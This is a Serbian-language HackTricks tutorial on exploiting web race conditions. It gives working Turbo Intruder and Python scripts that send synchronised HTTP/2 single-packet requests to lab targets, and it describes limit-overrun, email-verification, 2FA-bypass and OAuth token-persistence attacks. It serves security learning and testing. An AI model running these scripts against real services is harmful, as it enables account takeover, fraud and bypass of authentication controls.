# Trkački uslov
\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
{% hint style="warning" %}
Za dublje razumevanje ove tehnike proverite originalni izveštaj na [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Unapređenje napada trkačkog uslova
Glavna prepreka u iskorišćavanju trkačkih uslova je osigurati da se višestruki zahtevi obrađuju istovremeno, sa **vrlo malom razlikom u njihovim vremenima obrade—idealno, manje od 1ms**.
Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
#### Napad jednim paketom HTTP/2 naspram sinhronizacije poslednjeg bajta HTTP/1.1
* **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP veze, smanjujući uticaj mrežnog zastoja. Međutim, zbog varijacija na serverskoj strani, dva zahteva možda nisu dovoljna za dosledan napad trkačkog uslova.
* **HTTP/1.1 'Sinhronizacija poslednjeg bajta'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim šalje zajedno, postižući istovremeni dolazak na server.
**Priprema za sinhronizaciju poslednjeg bajta** uključuje:
1. Slanje zaglavlja i podataka tela bez poslednjeg bajta bez završetka toka.
2. Pauziranje 100ms nakon početnog slanja.
3. Onemogućavanje TCP\_NODELAY-a radi korišćenja Nagleovog algoritma za grupisanje finalnih okvira.
4. Pingovanje za zagrevanje veze.
Naknadno slanje zadržanih okvira trebalo bi rezultirati njihovim dolaskom u jednom paketu, što se može proveriti putem Wireshark-a. Ovaj metod se ne primenjuje na statičke datoteke, koje obično nisu uključene u napade trkačkog uslova.
### Prilagođavanje arhitekturi servera
Razumevanje arhitekture cilja je ključno. Serveri na prednjoj strani mogu usmeravati zahteve na različite načine, što utiče na vreme. Prediktivno zagrevanje serverske veze, putem nebitnih zahteva sa serverske strane, može normalizovati vreme zahteva.
#### Obrada zaključavanja na osnovu sesije
Okviri poput PHP-ovog rukovaoca sesijama serijski obrađuju zahteve po sesiji, potencijalno prikrivajući ranjivosti. Korišćenje različitih sesijskih tokena za svaki zahtev može zaobići ovaj problem.
#### Prevazilaženje ograničenja brzine ili resursa
Ako zagrevanje veze nije efikasno, namerno izazivanje kašnjenja ograničenja brzine ili resursa veb servera putem poplave lažnih zahteva može olakšati napad jednim paketom indukujući kašnjenje sa serverske strane pogodno za trkačke uslove.
## Primeri napada
* **Tubo Intruder - Napad jednim paketom HTTP2 (1 endpoint)**: Možete poslati zahtev **Turbo intruder-u** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), možete promeniti vrednost koju želite da probate silom za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` a zatim izabrati **`examples/race-single-packer-attack.py`** iz padajućeg menija:
Ako ćete **slati različite vrednosti**, možete izmeniti kod sa ovim koji koristi wordlistu sa clipboard-a:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Ako web ne podržava HTTP2 (samo HTTP1.1), umesto `Engine.BURP2` koristite `Engine.THREADED` ili `Engine.BURP`.
{% endhint %}
* **Tubo Intruder - HTTP2 napad jednim paketom (Više krajnjih tačaka)**: U slučaju da treba poslati zahtev ka jednoj krajnjoj tački, a zatim više za drugim krajnjim tačkama kako bi se pokrenuo RCE, možete promeniti skriptu `race-single-packet-attack.py` sa nečim sličnim:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Takođe je dostupno u **Repeater**-u putem nove opcije '**Slanje grupe paralelno**' u Burp Suite-u.
* Za **prekoračenje ograničenja** možete jednostavno dodati **isti zahtev 50 puta** u grupu.
* Za **zagrevanje veze**, možete **dodati** na **početak grupe** neke **zahteve** ka nekom nestatičkom delu veb servera.
* Za **odlaganje** procesa **između** obrade **jednog zahteva i drugog** u 2 podstanja koraka, možete **dodati dodatne zahteve između** oba zahteva.
* Za **višestruki** RC možete početi slati **zahtev** koji **ide ka skrivenom stanju** a zatim **50 zahteva** odmah nakon toga koji **eksploatišu skriveno stanje**.
* **Automatizovani Python skript**: Cilj ovog skripta je da promeni email korisnika dok kontinuirano proverava dok verifikacioni token novog emaila ne stigne na poslednji email (ovo je zato što je u kodu primećen RC gde je bilo moguće modifikovati email ali imati verifikaciju poslatu na stari email jer je promenljiva koja označava email već bila popunjena prvom).\
Kada se reč "objetivo" pronađe u primljenim emailovima, znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Sirovi BF
Prethodno istraživanje je koristilo sledeće niske koje su pokušavale da pošalju pakete što je brže moguće kako bi izazvale RC.
* **Ponavljač:** Pogledajte primere iz prethodnog odeljka.
* **Upadač:** Pošaljite **zahtev** Upadaču, postavite **broj niti** na **30** unutar **Opcija menija** i izaberite kao niske **Nulske niske** i generišite **30.**
* **Turbo Upadač**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=','Session=','Session=']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **Metodologija RC**
### Prekoračenje ograničenja / TOCTOU
Ovo je najosnovniji tip trke uslova gde se **ranjivosti** pojavljuju na mestima koja **ograničavaju broj puta kada možete izvršiti akciju**. Na primer, korišćenje istog koda za popust u veb prodavnici više puta. Veoma jednostavan primer može se pronaći u [**ovom izveštaju**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**ovom bug-u**](https://hackerone.com/reports/759247)**.**
Postoji mnogo varijacija ovakvih napada, uključujući:
* Višestruko iskorišćavanje poklon kartice
* Ocena proizvoda više puta
* Podizanje ili prenos gotovine preko iznosa na vašem računu
* Ponovno korišćenje jedinstvenog rešenja CAPTCHA
* Zaobilaženje ograničenja brzine protiv brute force napada
### **Skrivene podstvari**
Iskorišćavanje složenih trka uslova često uključuje iskorišćavanje kratkih prilika za interakciju sa skrivenim ili **neplaniranim podstanjima mašine**. Evo kako pristupiti ovome:
1. **Identifikacija Potencijalnih Skrivenih Podstanja**
* Počnite tako što ćete identifikovati krajnje tačke koje menjaju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi resetovanja lozinke. Fokusirajte se na:
* **Skladištenje**: Preferirajte krajnje tačke koje manipulišu podacima na serverskoj strani u odnosu na one koje obrađuju podatke na klijentskoj strani.
* **Akcija**: Potražite operacije koje menjaju postojeće podatke, koje su verovatnije da će stvoriti iskorišćive uslove u poređenju sa onima koje dodaju nove podatke.
* **Ključevi**: Uspešni napadi obično uključuju operacije usmerene na isti identifikator, npr. korisničko ime ili token za resetovanje.
2. **Sprovođenje Početnog Istraživanja**
* Testirajte identifikovane krajnje tačke sa napadima trke uslova, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazati na ranjivost.
3. **Demonstracija Ranjivosti**
* Sužite napad na minimalan broj zahteva potreban za iskorišćavanje ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog vremena uključenog.
### Napadi Osetljivi na Vreme
Preciznost u vremenskom slanju zahteva može otkriti ranjivosti, posebno kada se koriste predvidljive metode poput vremenskih oznaka za sigurnosne tokene. Na primer, generisanje tokena za resetovanje lozinke na osnovu vremenskih oznaka moglo bi omogućiti identične tokene za istovremene zahteve.
**Za Iskorišćavanje:**
* Koristite precizno vreme, poput napada sa jednim paketom, kako biste poslali istovremene zahteve za resetovanje lozinke. Identifikacija identičnih tokena ukazuje na ranjivost.
**Primer:**
* Zatražite dva tokena za resetovanje lozinke istovremeno i uporedite ih. Podudarajući tokeni ukazuju na grešku u generisanju tokena.
**Proverite ovaj** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **da isprobate ovo.**
## Studije slučaja skrivenih podstanja
### Plati & dodaj stavku
Proverite ovaj [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidite kako da **platite** u prodavnici i **dodate dodatnu** stavku za koju **nećete morati platiti**.
### Potvrdi druge e-pošte
Ideja je **potvrditi adresu e-pošte i istovremeno je promeniti u drugu** kako biste saznali da li platforma potvrđuje novu promenjenu adresu.
### Promeni e-poštu u 2 adrese zasnovano na kolačićima
Prema [**ovom istraživanju**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na preuzimanje na ovaj način jer bi mogao **poslati** **token za verifikaciju e-pošte jedne adrese na drugu e-poštu**.
**Proverite ovaj** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **da isprobate ovo.**
### Skrivena stanja baze podataka / Bypass potvrde
Ako se **koriste 2 različita upisa** za **dodavanje** **informacija** unutar **baze podataka**, postoji mali vremenski period kada je **samo prvi podatak upisan** unutar baze podataka. Na primer, prilikom kreiranja korisnika **korisničko ime** i **lozinka** mogu biti **upisani** a zatim **token** za potvrdu novo kreiranog naloga je upisan. To znači da je tokom kratkog vremena **token za potvrdu naloga null**.
Stoga, **registrovanje naloga i slanje nekoliko zahteva sa praznim tokenom** (`token=` ili `token[]=` ili bilo koja druga varijacija) kako biste odmah potvrdili nalog moglo bi omogućiti da se **potvrdi nalog** gde ne kontrolišete e-poštu.
**Proverite ovaj** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **da isprobate ovo.**
### Zaobilaženje 2FA
Sledeći pseudo-kod je ranjiv na trku uslova jer u vrlo kratkom vremenu **2FA nije primenjen** dok je sesija kreirana:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### Večna upornost OAuth2
Postoji nekoliko [**OAuth provajdera**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ovi servisi će vam omogućiti da kreirate aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da biste to uradili, **klijent** će morati da **dozvoli vašoj aplikaciji** pristup nekim od njihovih podataka unutar **OAuth provajdera**.\
Dakle, do sada samo obična prijava sa google/linkedin/github... gde vam se prikazuje stranica koja kaže: "_Aplikacija \ želi da pristupi vašim informacijama, da li želite da to dozvolite?_"
#### Trkački uslov u `authorization_code`
**Problem** se javlja kada ga **prihvatite** i automatski šalje **`authorization_code`** zlonamerno aplikaciji. Zatim, ova **aplikacija zloupotrebljava Trkački uslov u OAuth servisu provajdera da generiše više od jednog AT/RT** (_Authentication Token/Refresh Token_) iz **`authorization_code`** za vaš nalog. U osnovi, zloupotrebiće činjenicu da ste dozvolili aplikaciji pristup vašim podacima da **kreira više naloga**. Zatim, ako **zaustavite dozvolu aplikaciji da pristupi vašim podacima jedan par AT/RT će biti obrisan, ali drugi će i dalje biti validan**.
#### Trkački uslov u `Refresh Token`
Kada jednom **dobijete validan RT** možete pokušati da ga **zloupotrebite da generišete više AT/RT** i **čak ako korisnik otkaže dozvole** zlonamerno aplikaciji da pristupi njegovim podacima, **više RT-ova će i dalje biti validno**.
## **RC u WebSockets**
Na [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) možete pronaći PoC u Javi za slanje websocket poruka **paralelno** kako biste zloupotrebili **Trkačke uslove i u Web Sockets**.
## Reference
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}